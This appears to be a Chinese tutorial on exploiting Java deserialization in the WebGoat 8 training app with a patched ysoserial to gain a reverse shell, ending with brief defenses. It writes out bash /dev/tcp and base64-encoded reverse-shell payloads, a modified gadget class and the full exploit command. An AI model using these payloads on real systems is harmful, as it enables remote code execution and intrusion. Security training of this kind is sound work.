利用 Java 反序列化漏洞在受限环境下获取反向 Shell
字数 1142 2025-08-27 12:33:31

Java反序列化漏洞利用实战:从发现到获取反向Shell

1. Java反序列化漏洞概述

Java反序列化漏洞是安全社区中已知多年的高危漏洞,最早由Chris Frohoff和Gabriel Lawrence在2015年AppSecCali会议上提出。该漏洞源于Java对象序列化机制:

  • 序列化:将内存中的对象转换为二进制或文本格式以便存储或传输
  • 反序列化:将序列化数据还原为内存中的对象
  • 漏洞本质:当应用程序反序列化不可信数据时,可能导致远程代码执行(RCE)

2. 漏洞发现与验证

2.1 工具准备

  1. Burp Suite:用于拦截和分析HTTP请求
  2. Java-Deserialization-Scanner插件
    • 提供扫描功能检测潜在漏洞
    • 集成ysoserial生成利用代码

2.2 扫描过程

  1. 拦截目标应用(如WebGoat 8)的序列化数据请求
  2. 使用插件扫描端点,典型输出示例:
    Hibernate 5 (Sleep): Potentially VULNERABLE!!!
    

3. 漏洞利用准备

3.1 ysoserial工具

ysoserial是专门用于生成Java反序列化利用payload的工具,但原始版本对Hibernate 5支持存在问题。

3.2 修改ysoserial

  1. 添加依赖:在pom.xml中添加javax.el包

    <dependency>
        <groupId>javax.el</groupId>
        <artifactId>javax.el-api</artifactId>
        <version>3.0.0</version>
    </dependency>
    
  2. 重新构建

    mvn clean package -DskipTests -Dhibernate5
    
  3. 生成测试payload

    java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "touch /tmp/test" | base64 -w0
    

4. 获取反向Shell

4.1 环境限制分析

在受限环境中,首先枚举可用二进制:

which php
which python
which python3
which wget
which curl
which nc
which perl
which bash

常见结果可能只有Perl和Bash可用。

4.2 Shell选择与限制

  1. Bash反向Shell

    bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
    
    • 问题:java.lang.Runtime.exec()不支持重定向或管道操作符
  2. Java实现反向Shell
    修改ysoserial的Gadgets.java文件(第116-118行):

    String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"}).waitFor();";
    clazz.makeClassInitializer().insertAfter(cmd);
    

4.3 替代编码方案

使用在线编码器(如http://jackson.thuraisamy.me/runtime-exec-payloads.html)将Bash命令编码为可执行格式:

原始命令:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

编码后payload:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}

5. 完整利用流程

  1. 生成反向Shell payload

    java -Dhibernate5 -jar ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}" | base64 -w0
    
  2. 监听端口

    nc -lvnp 8080
    
  3. 发送payload
    将生成的Base64编码payload发送到目标应用的序列化端点

6. 防御建议

  1. 输入验证:不要反序列化不可信数据
  2. 使用安全替代方案
    • JSON、XML等安全数据格式
    • 使用白名单验证反序列化类
  3. 更新依赖:及时更新框架和库
  4. 安全配置
    • 使用ObjectInputFilter限制反序列化类
    • 考虑使用SerialKiller等防护工具

7. 参考资料

  1. Marshalling Pickles演讲
  2. Java反序列化漏洞详解
  3. Spring RCE漏洞分析
  4. 反向Shell备忘录
Java反序列化漏洞利用实战:从发现到获取反向Shell 1. Java反序列化漏洞概述 Java反序列化漏洞是安全社区中已知多年的高危漏洞,最早由Chris Frohoff和Gabriel Lawrence在2015年AppSecCali会议上提出。该漏洞源于Java对象序列化机制: 序列化 :将内存中的对象转换为二进制或文本格式以便存储或传输 反序列化 :将序列化数据还原为内存中的对象 漏洞本质 :当应用程序反序列化不可信数据时,可能导致远程代码执行(RCE) 2. 漏洞发现与验证 2.1 工具准备 Burp Suite :用于拦截和分析HTTP请求 Java-Deserialization-Scanner插件 : 提供扫描功能检测潜在漏洞 集成ysoserial生成利用代码 2.2 扫描过程 拦截目标应用(如WebGoat 8)的序列化数据请求 使用插件扫描端点,典型输出示例: 3. 漏洞利用准备 3.1 ysoserial工具 ysoserial是专门用于生成Java反序列化利用payload的工具,但原始版本对Hibernate 5支持存在问题。 3.2 修改ysoserial 添加依赖 :在pom.xml中添加javax.el包 重新构建 : 生成测试payload : 4. 获取反向Shell 4.1 环境限制分析 在受限环境中,首先枚举可用二进制: 常见结果可能只有Perl和Bash可用。 4.2 Shell选择与限制 Bash反向Shell : 问题: java.lang.Runtime.exec() 不支持重定向或管道操作符 Java实现反向Shell : 修改ysoserial的Gadgets.java文件(第116-118行): 4.3 替代编码方案 使用在线编码器(如http://jackson.thuraisamy.me/runtime-exec-payloads.html)将Bash命令编码为可执行格式: 原始命令: 编码后payload: 5. 完整利用流程 生成反向Shell payload : 监听端口 : 发送payload : 将生成的Base64编码payload发送到目标应用的序列化端点 6. 防御建议 输入验证 :不要反序列化不可信数据 使用安全替代方案 : JSON、XML等安全数据格式 使用白名单验证反序列化类 更新依赖 :及时更新框架和库 安全配置 : 使用 ObjectInputFilter 限制反序列化类 考虑使用 SerialKiller 等防护工具 7. 参考资料 Marshalling Pickles演讲 Java反序列化漏洞详解 Spring RCE漏洞分析 反向Shell备忘录